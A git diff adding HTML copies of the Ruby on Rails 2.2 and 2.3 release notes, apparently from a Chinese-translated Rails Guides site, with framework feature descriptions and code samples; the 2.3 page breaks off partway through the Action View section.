diff --git a/.gitignore b/.gitignore deleted file mode 100644 index e0dd377..0000000 --- a/.gitignore +++ /dev/null @@ -1,7 +0,0 @@ -# Don't put *.swp, *.bak, etc here; those belong in a global ~/.gitignore. -# Check out https://help.github.com/articles/ignoring-files for how to set that up. - -.bundle/ -/output/ -BASE_PATH -.DS_Store diff --git a/2_2_release_notes.html b/2_2_release_notes.html new file mode 100644 index 0000000..3d55984 --- /dev/null +++ b/2_2_release_notes.html @@ -0,0 +1,731 @@ + + + + + + + +Ruby on Rails 2.2 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Ruby on Rails 2.2 Release Notes

Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the list of commits in the main Rails repository on GitHub.

Along with Rails, 2.2 marks the launch of the Ruby on Rails Guides, the first results of the ongoing Rails Guides hackfest. This site will deliver high-quality documentation of the major features of Rails.

+ + + +
+
+ +
+
+
+

1 Infrastructure

Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.

1.1 Internationalization

Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).

+ +

1.2 Compatibility with Ruby 1.9 and JRuby

Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.

2 Documentation

The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the Ruby on Rails Guides project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:

+ +

All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.

If you want to generate these guides locally, inside your application:

+
+rake doc:guides
+
+
+
+

This will put the guides inside Rails.root/doc/guides and you may start surfing straight away by opening Rails.root/doc/guides/index.html in your favourite browser.

+ +

3 Better integration with HTTP : Out of the box ETag support

Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.

+
+class ArticlesController < ApplicationController
+  def show_with_respond_to_block
+    @article = Article.find(params[:id])
+
+    # If the request sends headers that differs from the options provided to stale?, then
+    # the request is indeed stale and the respond_to block is triggered (and the options
+    # to the stale? call is set on the response).
+    #
+    # If the request headers match, then the request is fresh and the respond_to block is
+    # not triggered. Instead the default render will occur, which will check the last-modified
+    # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
+    # of rendering the template.
+    if stale?(:last_modified => @article.published_at.utc, :etag => @article)
+      respond_to do |wants|
+        # normal response processing
+      end
+    end
+  end
+
+  def show_with_implied_render
+    @article = Article.find(params[:id])
+
+    # Sets the response headers and checks them against the request, if the request is stale
+    # (i.e. no match of either etag or last-modified), then the default render of the template happens.
+    # If the request is fresh, then the default render will return a "304 Not Modified"
+    # instead of rendering the template.
+    fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
+  end
+end
+
+
+
+

4 Thread Safety

The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.

To enable multithreaded dispatching in production mode of your application, add the following line in your config/environments/production.rb:

+
+config.threadsafe!
+
+
+
+ + +

5 Active Record

There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.

5.1 Transactional Migrations

Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by rake db:migrate:redo after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.

+ +

5.2 Connection Pooling

Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a pool key to your database.yml to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a wait_timeout that defaults to 5 seconds before giving up. ActiveRecord::Base.connection_pool gives you direct access to the pool if you need it.

+
+development:
+  adapter: mysql
+  username: root
+  database: sample_development
+  pool: 10
+  wait_timeout: 10
+
+
+
+ + +

5.3 Hashes for Join Table Conditions

You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.

+
+class Photo < ActiveRecord::Base
+  belongs_to :product
+end
+
+class Product < ActiveRecord::Base
+  has_many :photos
+end
+
+# Get all products with copyright-free photos:
+Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
+
+
+
+ + +

5.4 New Dynamic Finders

Two new sets of methods have been added to Active Record's dynamic finders family.

5.4.1 find_last_by_attribute +

The find_last_by_attribute method is equivalent to Model.last(:conditions => {:attribute => value})

+
+# Get the last user who signed up from London
+User.find_last_by_city('London')
+
+
+
+ + +
5.4.2 find_by_attribute! +

The new bang! version of find_by_attribute! is equivalent to Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound Instead of returning nil if it can't find a matching record, this method will raise an exception if it cannot find a match.

+
+# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
+User.find_by_name!('Moby')
+
+
+
+ + +

5.5 Associations Respect Private/Protected Scope

Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) @user.account.private_method would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use @user.account.send(:private_method) (or make the method public instead of private or protected). Please note that if you're overriding method_missing, you should also override respond_to to match the behavior in order for associations to function normally.

+ +

5.6 Other Active Record Changes

+
    +
  • +rake db:migrate:redo now accepts an optional VERSION to target that specific migration to redo
  • +
  • Set config.active_record.timestamped_migrations = false to have migrations with numeric prefix instead of UTC timestamp.
  • +
  • Counter cache columns (for associations declared with :counter_cache => true) do not need to be initialized to zero any longer.
  • +
  • +ActiveRecord::Base.human_name for an internationalization-aware humane translation of model names
  • +
+

6 Action Controller

On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.

6.1 Shallow Route Nesting

Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.

+
+map.resources :publishers, :shallow => true do |publisher|
+  publisher.resources :magazines do |magazine|
+    magazine.resources :photos
+  end
+end
+
+
+
+

This will enable recognition of (among others) these routes:

+
+/publishers/1           ==> publisher_path(1)
+/publishers/1/magazines ==> publisher_magazines_path(1)
+/magazines/2            ==> magazine_path(2)
+/magazines/2/photos     ==> magazines_photos_path(2)
+/photos/3               ==> photo_path(3)
+
+
+
+ + +

6.2 Method Arrays for Member or Collection Routes

You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:

+
+map.resources :photos, :collection => { :search => [:get, :post] }
+
+
+
+ + +

6.3 Resources With Specific Actions

By default, when you use map.resources to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the :only and :except options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special :all or :none options. These options are inherited by nested resources.

+
+map.resources :photos, :only => [:index, :show]
+map.resources :products, :except => :destroy
+
+
+
+ + +

6.4 Other Action Controller Changes

+
    +
  • You can now easily show a custom error page for exceptions raised while routing a request.
  • +
  • The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as /customers/1.xml) to indicate the format that you want. If you need the Accept headers, you can turn them back on with config.action_controller.use_accept_header = true.
  • +
  • Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
  • +
  • Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
  • +
  • +redirect_to now fully supports URI schemes (so, for example, you can redirect to a svn`ssh: URI).
  • +
  • +render now supports a :js option to render plain vanilla JavaScript with the right mime type.
  • +
  • Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
  • +
  • Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling polymorphic_path([@project, @date, @area]) with a nil date will give you project_area_path.
  • +
+

7 Action View

+
    +
  • +javascript_include_tag and stylesheet_link_tag support a new :recursive option to be used along with :all, so that you can load an entire tree of files with a single line of code.
  • +
  • The included Prototype JavaScript library has been upgraded to version 1.6.0.3.
  • +
  • +RJS#page.reload to reload the browser's current location via JavaScript
  • +
  • The atom_feed helper now takes an :instruct option to let you insert XML processing instructions.
  • +
+

8 Action Mailer

Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the CustomerMailer class expects to use layouts/customer_mailer.html.erb.

+ +

Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.

9 Active Support

Active Support now offers built-in memoization for Rails applications, the each_with_object method, prefix support on delegates, and various other new utility methods.

9.1 Memoization

Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:

+
+def full_name
+  @full_name ||= "#{first_name} #{last_name}"
+end
+
+
+
+

Memoization lets you handle this task in a declarative fashion:

+
+extend ActiveSupport::Memoizable
+
+def full_name
+  "#{first_name} #{last_name}"
+end
+memoize :full_name
+
+
+
+

Other features of memoization include unmemoize, unmemoize_all, and memoize_all to turn memoization on or off.

+ +

9.2 each_with_object

The each_with_object method provides an alternative to inject, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.

+
+%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'}
+
+
+
+

Lead Contributor: Adam Keys

9.3 Delegates With Prefixes

If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:

+
+class Vendor < ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to => :account, :prefix => true
+end
+
+
+
+

This will produce delegated methods vendor#account_email and vendor#account_password. You can also specify a custom prefix:

+
+class Vendor < ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to => :account, :prefix => :owner
+end
+
+
+
+

This will produce delegated methods vendor#owner_email and vendor#owner_password.

Lead Contributor: Daniel Schierbeck

9.4 Other Active Support Changes

+
    +
  • Extensive updates to ActiveSupport::Multibyte, including Ruby 1.9 compatibility fixes.
  • +
  • The addition of ActiveSupport::Rescuable allows any class to mix in the rescue_from syntax.
  • +
  • +past?, today? and future? for Date and Time classes to facilitate date/time comparisons.
  • +
  • +Array#second through Array#fifth as aliases for Array#[1] through Array#[4] +
  • +
  • +Enumerable#many? to encapsulate collection.size > 1 +
  • +
  • +Inflector#parameterize produces a URL-ready version of its input, for use in to_param.
  • +
  • +Time#advance recognizes fractional days and weeks, so you can do 1.7.weeks.ago, 1.5.hours.since, and so on.
  • +
  • The included TzInfo library has been upgraded to version 0.3.12.
  • +
  • +ActiveSupport::StringInquirer gives you a pretty way to test for equality in strings: ActiveSupport::StringInquirer.new("abc").abc? => true +
  • +
+

10 Railties

In Railties (the core code of Rails itself) the biggest changes are in the config.gems mechanism.

10.1 config.gems

To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in /vendor/gems. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:

+
    +
  • +config.gem _gem_name_ in your config/environment.rb file
  • +
  • +rake gems to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
  • +
  • +rake gems:install to install missing gems to the computer
  • +
  • +rake gems:unpack to place a copy of the required gems into /vendor/gems +
  • +
  • +rake gems:unpack:dependencies to get copies of the required gems and their dependencies into /vendor/gems +
  • +
  • +rake gems:build to build any missing native extensions
  • +
  • +rake gems:refresh_specs to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
  • +
+

You can unpack or install a single gem by specifying GEM=_gem_name_ on the command line.

+ +

10.2 Other Railties Changes

+
    +
  • If you're a fan of the Thin web server, you'll be happy to know that script/server now supports Thin directly.
  • +
  • +script/plugin install &lt;plugin&gt; -r &lt;revision&gt; now works with git-based as well as svn-based plugins.
  • +
  • +script/console now supports a --debugger option
  • +
  • Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
  • +
  • +rake notes:custom ANNOTATION=MYFLAG lets you list out custom annotations.
  • +
  • Wrapped Rails.env in StringInquirer so you can do Rails.env.development? +
  • +
  • To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
  • +
+

11 Deprecated

A few pieces of older code are deprecated in this release:

+
    +
  • +Rails::SecretKeyGenerator has been replaced by ActiveSupport::SecureRandom +
  • +
  • +render_component is deprecated. There's a render_components plugin available if you need this functionality.
  • +
  • +

    Implicit local assignments when rendering partials has been deprecated.

    +
    +
    +def partial_with_implicit_local_assignment
    +  @customer = Customer.new("Marcel")
    +  render :partial => "customer"
    +end
    +
    +
    +
    +

    Previously the above code made available a local variable called customer inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.

    +
  • +
  • country_select has been removed. See the deprecation page for more information and a plugin replacement.

  • +
  • ActiveRecord::Base.allow_concurrency no longer has any effect.

  • +
  • ActiveRecord::Errors.default_error_messages has been deprecated in favor of I18n.translate('activerecord.errors.messages')

  • +
  • The %s and %d interpolation syntax for internationalization is deprecated.

  • +
  • String#chars has been deprecated in favor of String#mb_chars.

  • +
  • Durations of fractional months or fractional years are deprecated. Use Ruby's core Date and Time class arithmetic instead.

  • +
  • Request#relative_url_root is deprecated. Use ActionController::Base.relative_url_root instead.

  • +
+

12 Credits

Release notes compiled by Mike Gunderloy

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/2_3_release_notes.html b/2_3_release_notes.html new file mode 100644 index 0000000..64383ad --- /dev/null +++ b/2_3_release_notes.html @@ -0,0 +1,878 @@ + + + + + + + +Ruby on Rails 2.3 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Ruby on Rails 2.3 Release Notes

Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the list of commits in the main Rails repository on GitHub or review the CHANGELOG files for the individual Rails components.

+ + + +
+
+ +
+
+
+

1 Application Architecture

There are two major changes in the architecture of Rails applications: complete integration of the Rack modular web server interface, and renewed support for Rails Engines.

1.1 Rack Integration

Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:

+
    +
  • Sessions
  • +
  • Cookies
  • +
  • File uploads
  • +
  • JSON/XML APIs
  • +
+

Here's a summary of the rack-related changes:

+
    +
  • +script/server has been switched to use Rack, which means it supports any Rack compatible server. script/server will also pick up a rackup configuration file if one exists. By default, it will look for a config.ru file, but you can override this with the -c switch.
  • +
  • The FCGI handler goes through Rack.
  • +
  • +ActionController::Dispatcher maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in environment.rb.
  • +
  • The rake middleware task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
  • +
  • The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
  • +
  • +ActionController::CGIHandler is a backwards compatible CGI wrapper around Rack. The CGIHandler is meant to take an old CGI object and convert its environment information into a Rack compatible form.
  • +
  • +CgiRequest and CgiResponse have been removed.
  • +
  • Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
  • +
  • You no longer need to use CGI::Cookie.new in your tests for setting a cookie value. Assigning a String value to request.cookies["foo"] now sets the cookie as expected.
  • +
  • +CGI::Session::CookieStore has been replaced by ActionController::Session::CookieStore.
  • +
  • +CGI::Session::MemCacheStore has been replaced by ActionController::Session::MemCacheStore.
  • +
  • +CGI::Session::ActiveRecordStore has been replaced by ActiveRecord::SessionStore.
  • +
  • You can still change your session store with ActionController::Base.session_store = :active_record_store.
  • +
  • Default sessions options are still set with ActionController::Base.session = { :key => "..." }. However, the :session_domain option has been renamed to :domain.
  • +
  • The mutex that normally wraps your entire request has been moved into middleware, ActionController::Lock.
  • +
  • +ActionController::AbstractRequest and ActionController::Request have been unified. The new ActionController::Request inherits from Rack::Request. This affects access to response.headers['type'] in test requests. Use response.content_type instead.
  • +
  • +ActiveRecord::QueryCache middleware is automatically inserted onto the middleware stack if ActiveRecord has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
  • +
  • The Rails router and controller classes follow the Rack spec. You can call a controller directly with SomeController.call(env). The router stores the routing parameters in rack.routing_args.
  • +
  • +ActionController::Request inherits from Rack::Request.
  • +
  • Instead of config.action_controller.session = { :session_key => 'foo', ... use config.action_controller.session = { :key => 'foo', ....
  • +
  • Using the ParamsParser middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any Rack::Request object after it.
  • +
+

1.2 Renewed Support for Rails Engines

After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your routes.rb file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.

2 Documentation

The Ruby on Rails guides project has published several additional guides for Rails 2.3. In addition, a separate site maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the Rails wiki and early planning for a Rails Book.

+ +

3 Ruby 1.9.1 Support

Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.

4 Active Record

Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.

4.1 Nested Attributes

Active Record can now update the attributes on nested models directly, provided you tell it to do so:

+
+class Book < ActiveRecord::Base
+  has_one :author
+  has_many :pages
+
+  accepts_nested_attributes_for :author, :pages
+end
+
+
+
+

Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).

You can also specify requirements for any new records that are added via nested attributes using the :reject_if option:

+
+accepts_nested_attributes_for :author,
+  :reject_if => proc { |attributes| attributes['name'].blank? }
+
+
+
+ + +

4.2 Nested Transactions

Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:

+
+User.transaction do
+  User.create(:username => 'Admin')
+  User.transaction(:requires_new => true) do
+    User.create(:username => 'Regular')
+    raise ActiveRecord::Rollback
+  end
+end
+
+User.find(:all)  # => Returns only Admin
+
+
+
+

Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the :requires_new option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are using savepoints so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.

+ +

4.3 Dynamic Scopes

You know about dynamic finders in Rails (which allow you to concoct methods like find_by_color_and_flavor on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like currently_active). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly and method chaining. For example:

+
+Order.scoped_by_customer_id(12)
+Order.scoped_by_customer_id(12).find(:all,
+  :conditions => "status = 'open'")
+Order.scoped_by_customer_id(12).scoped_by_status("open")
+
+
+
+

There's nothing to define to use dynamic scopes: they just work.

+ +

4.4 Default Scopes

Rails 2.3 will introduce the notion of default scopes similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write default_scope :order => 'name ASC' and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).

+ +

4.5 Batch Processing

You can now process large numbers of records from an Active Record model with less pressure on memory by using find_in_batches:

+
+Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
+  customer_group.each { |customer| customer.update_account_balance! }
+end
+
+
+
+

You can pass most of the find options into find_in_batches. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the :limit option. Instead, use the :batch_size option, which defaults to 1000, to set the number of records that will be returned in each batch.

The new find_each method provides a wrapper around find_in_batches that returns individual records, with the find itself being done in batches (of 1000 by default):

+
+Customer.find_each do |customer|
+  customer.update_account_balance!
+end
+
+
+
+

Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.

+ +

4.6 Multiple Conditions for Callbacks

When using Active Record callbacks, you can now combine :if and :unless options on the same callback, and supply multiple conditions as an array:

+
+before_save :update_credit_rating, :if => :active,
+  :unless => [:admin, :cash_only]
+
+
+
+ +
    +
  • Lead Contributor: L. Caviola
  • +
+

4.7 Find with having

Rails now has a :having option on find (as well as on has_many and has_and_belongs_to_many associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:

+
+developers = Developer.find(:all, :group => "salary",
+  :having => "sum(salary) > 10000", :select => "salary")
+
+
+
+ + +

4.8 Reconnecting MySQL Connections

MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set reconnect = true for your MySQL connections in database.yml to get this behavior from a Rails application. The default is false, so the behavior of existing applications doesn't change.

+ +

4.9 Other Active Record Changes

+
    +
  • An extra AS was removed from the generated SQL for has_and_belongs_to_many preloading, making it work better for some databases.
  • +
  • +ActiveRecord::Base#new_record? now returns false rather than nil when confronted with an existing record.
  • +
  • A bug in quoting table names in some has_many :through associations was fixed.
  • +
  • You can now specify a particular timestamp for updated_at timestamps: cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago) +
  • +
  • Better error messages on failed find_by_attribute! calls.
  • +
  • Active Record's to_xml support gets just a little bit more flexible with the addition of a :camelize option.
  • +
  • A bug in canceling callbacks from before_update or before_create was fixed.
  • +
  • Rake tasks for testing databases via JDBC have been added.
  • +
  • +validates_length_of will use a custom error message with the :in or :within options (if one is supplied).
  • +
  • Counts on scoped selects now work properly, so you can do things like Account.scoped(:select => "DISTINCT credit_limit").count.
  • +
  • +ActiveRecord::Base#invalid? now works as the opposite of ActiveRecord::Base#valid?.
  • +
+

5 Action Controller

Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.

5.1 Unified Rendering

ActionController::Base#render is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:

+
+render :file => '/tmp/random_file.erb'
+render :template => 'other_controller/action'
+render :action => 'show'
+
+
+
+

Now in Rails 2.3, you can just supply what you want to render:

+
+render '/tmp/random_file.erb'
+render 'other_controller/action'
+render 'show'
+render :show
+
+
+
+

Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (:inline, :text, :update, :nothing, :json, :xml, :js) still require an explicit option.

5.2 Application Controller Renamed

If you're one of the people who has always been bothered by the special-case naming of application.rb, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, rake rails:update:application_controller to do this automatically for you - and it will be run as part of the normal rake rails:update process.

+ +

5.3 HTTP Digest Authentication Support

Rails now has built-in support for HTTP digest authentication. To use it, you call authenticate_or_request_with_http_digest with a block that returns the user's password (which is then hashed and compared against the transmitted credentials):

+
+class PostsController < ApplicationController
+  Users = {"dhh" => "secret"}
+  before_filter :authenticate
+
+  def secret
+    render :text => "Password Required!"
+  end
+
+  private
+  def authenticate
+    realm = "Application"
+    authenticate_or_request_with_http_digest(realm) do |name|
+      Users[name]
+    end
+  end
+end
+
+
+
+ + +

5.4 More Efficient Routing

There are a couple of significant routing changes in Rails 2.3. The formatted_ route helpers are gone, in favor just passing in :format as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the formatted_ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just routes.rb. You can use RouteSet#add_configuration_file to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.

+ +

5.5 Rack-based Lazy-loaded Sessions

A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.

5.6 MIME Type Handling Changes

There are a couple of changes to the code for handling MIME types in Rails. First, MIME::Type now implements the =~ operator, making things much cleaner when you need to check for the presence of a type that has synonyms:

+
+if content_type && Mime::JS =~ content_type
+  # do something cool
+end
+
+Mime::JS =~ "text/javascript"        => true
+Mime::JS =~ "application/javascript" => true
+
+
+
+

The other change is that the framework now uses the Mime::JS when checking for JavaScript in various spots, making it handle those alternatives cleanly.

+ +

5.7 Optimization of respond_to +

In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the respond_to method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to method_missing and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple respond_to that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.

5.8 Improved Caching Performance

Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to MemCacheStore, it is available to any remote store than implements the required methods.

+ +

5.9 Localized Views

Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a Posts controller with a show action. By default, this will render app/views/posts/show.html.erb. But if you set I18n.locale = :da, it will render app/views/posts/show.da.html.erb. If the localized template isn't present, the undecorated version will be used. Rails also includes I18n#available_locales and I18n::SimpleBackend#available_locales, which return an array of the translations that are available in the current Rails project.

In addition, you can use the same scheme to localize the rescue files in the public directory: public/500.da.html or public/404.en.html work, for example.

5.10 Partial Scoping for Translations

A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call translate(".foo") from the people/index.html.erb template, you'll actually be calling I18n.translate("people.index.foo") If you don't prepend the key with a period, then the API doesn't scope, just as before.

5.11 Other Action Controller Changes

+
    +
  • ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with send_file.
  • +
  • The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set ActionController::Base.ip_spoofing_check = false to disable the check entirely.
  • +
  • +ActionController::Dispatcher now implements its own middleware stack, which you can see by running rake middleware.
  • +
  • Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
  • +
  • You can now use symbols for the :type option of send_file and send_data, like this: send_file("fabulous.png", :type => :png).
  • +
  • The :only and :except options for map.resources are no longer inherited by nested resources.
  • +
  • The bundled memcached client has been updated to version 1.6.4.99.
  • +
  • The expires_in, stale?, and fresh_when methods now accept a :public option to make them work well with proxy caching.
  • +
  • The :requirements option now works properly with additional RESTful member routes.
  • +
  • Shallow routes now properly respect namespaces.
  • +
  • +polymorphic_url does a better job of handling objects with irregular plural names.
  • +
+

6 Action View

Action View in Rails 2.3 picks up nested model forms, improvements to render, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.

6.1 Nested Object Forms

Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using form_for and field_for. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:

+
+class Customer < ActiveRecord::Base
+  has_many :orders
+
+  accepts_nested_attributes_for :orders, :allow_destroy => true
+end
+
+
+
+

You can write this view in Rails 2.3:

+
+<% form_for @customer do |customer_form| %>
+  <div>
+    <%= customer_form.label :name, 'Customer Name:' %>
+    <%= customer_form.text_field :name %>
+  </div>
+
+  <!-- Here we call fields_for on the customer_form builder instance.
+   The block is called for each member of the orders collection. -->
+  <% customer_form.fields_for :orders do |order_form| %>
+    <p>
+      <div>
+        <%= order_form.label :number, 'Order Number:' %>
+        <%= order_form.text_field :number %>
+      </div>
+
+  <!-- The allow_destroy option in the model enables deletion of
+   child records. -->
+      <% unless order_form.object.new_record? %>
+        <div>
+          <%= order_form.label :_delete, 'Remove:' %>
+          <%= order_form.check_box :_delete %>
+        </div>
+      <% end %>
+    </p>
+  <% end %>
+
+  <%= customer_form.submit %>
+<% end %>
+
+
+
+ + +

